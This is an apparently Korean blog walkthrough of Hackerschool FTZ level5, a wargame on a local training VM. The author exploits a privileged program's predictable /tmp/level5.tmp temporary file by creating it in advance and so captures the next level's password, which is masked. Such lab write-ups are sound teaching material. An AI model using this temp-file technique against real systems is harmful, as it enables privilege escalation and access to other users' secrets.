사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.
level5 의 시작.
구동 환경 : Windows 7
서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ
사용 플램 : putty (퓨티)
login as : level5
password :
level4에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.
그러면 저번과 같이 ls -al 로 level5의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.
[level5@ftz level5]$ ls -al
total 80
drwxr-xr-x 4 root level5 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 30 02:00 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 129 Mar 23 2000 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level5 4096 Feb 24 2002 public_html
drwxrwx--- 2 root level5 4096 Jan 16 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
역시나, level5도 hint 파일이 존재합니다.
cat 명령어로 hint 파일을 들여다 봅시다.
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
문제 힌트파악을 하고 넘어갑시다.
usr/bin 폴더로 가서 ls 명령어로 level5 파일을 찾아보니, level5 파일이 존재하네요!
level5가 실행되면 /tmp 디텍토리에 level5.tmp 임시 파일을 만든다고 하니, 어디 한번 실행해보죠.
[level5@ftz bin]$ ./level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 20
drwxrwxrwt 4 root root 4096 Sep 30 13:39 .
drwxr-xr-x 19 root root 4096 Sep 30 02:44 ..
drwxrwxrwt 2 xfs xfs 4096 Sep 30 02:44 .font-unix
drwxr-xr-x 2 root root 4096 Sep 30 10:38 .mozilla
-rw------- 1 root root 1024 Sep 30 10:32 .rnd
[level5@ftz tmp]$
오잉? level5를 실행시키고 tmp 폴더의 내용을 보니, level5.tmp 파일이 존재하지 않네요.
임시파일이라서 잠시 생겼다가 지워지는 것 같네요.
그렇다면, /tmp 부분에 level5.tmp 파일을 생성해두고 level5를 실행시키면 tmp 파일에 덤프가 되지않을까요?
저는 그렇게 생각해서 문제를 풀었습니다.
level5.tmp 파일을 먼저 생성해둔다음, level5를 실행시키면 잠깐 나타나는 level5.tmp 가 만들어놓은 level5.tmp에 덤프가 될 것이에요.
이제 실천을 해보죠.
[level5@ftz tmp]$ cat > level5.tmp
y0upd{;;} SystemHacking Pwn&Play!~~~^^.
[level5@ftz tmp]$ ls -al
total 24
drwxrwxrwt 4 root root 4096 Sep 30 13:45 .
drwxr-xr-x 19 root root 4096 Sep 30 02:44 ..
drwxrwxrwt 2 xfs xfs 4096 Sep 30 02:44 .font-unix
-rw-rw-r-- 1 level5 level5 40 Sep 30 13:46 level5.tmp
drwxr-xr-x 2 root root 4096 Sep 30 10:38 .mozilla
-rw------- 1 root root 1024 Sep 30 10:32 .rnd
[level5@ftz tmp]$
cat > 명령어로 level5.tmp 파일을 생성시키고,
그 안에 내용을 저희 팀 이름과 제 닉네임을 적어주었습니다.
그리고,
ls -al 명령어로 /tmp 디텍토리의 파일내용을 보았더니, level5.tmp 가 존재하는군요!
그렇다면, cat 으로 한번 level5.tmp 를 들여다보겠습니다.
[level5@ftz tmp]$ cat level5.tmp
y0upd{;;} SystemHacking Pwn&Play!~~~^^.
[level5@ftz tmp]$
현재는 level5 를 실행시킨 상태가 아닌, 제가 임의로 만들어둔 level5.tmp 파일이네요.
이제 level5를 실행시키러 가봅시다.
[level5@ftz bin]$ cd /usr/bin
[level5@ftz bin]$ ls level5
level5
[level5@ftz bin]$ ./level5
[level5@ftz bin]$
/usr/bin 디텍토리로 이동해서 level5라는 파일을 실행시켰습니다.
/tmp 디텍토리로 이동해서 level5.tmp 가 존재하는지, 그리고 그 내용에 덤프가 되었는지 확인해봅닏.
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 24
drwxrwxrwt 4 root root 4096 Sep 30 13:45 .
drwxr-xr-x 19 root root 4096 Sep 30 02:44 ..
drwxrwxrwt 2 xfs xfs 4096 Sep 30 02:44 .font-unix
-rw-rw-r-- 1 level5 level5 31 Sep 30 13:49 level5.tmp
drwxr-xr-x 2 root root 4096 Sep 30 10:38 .mozilla
-rw------- 1 root root 1024 Sep 30 10:32 .rnd
/tmp 디텍토리에 와서 ls -al 명령어를 써보니!
기존에는 사라지던 level5.tmp 가 존재하는군요. 임의적으로 만들었던 내용이 그대로 들어있다면, 이 문제는 실패일 것입니다.
[level5@ftz tmp]$ cat level5.tmp
next password : ~~~~~~~
[level5@ftz tmp]$
cat 명령어로 level5.tmp 열어보니!
제가 임의로 생성할 때, 적어두었던 y0upd{;;} SystemHacking Pwn&Play!~~~^^. 은 사라지고, level6의 비밀번호가 나오는군요!
good. 성공입니다.
이제 다음 level6으로 향해서 고고싱!
'정보보안 카테고리 > hackschool FTZ' 카테고리의 다른 글
hackerschool FTZ : level7 풀이 (0) | 2013.10.02 |
---|---|
hackerschool FTZ : level6 풀이 (0) | 2013.10.01 |
hackerschool FTZ : level4 풀이 (2) | 2013.10.01 |
hackerschool FTZ : level3 풀이 (0) | 2013.10.01 |
hackerschool FTZ : level2 풀이 (2) | 2013.10.01 |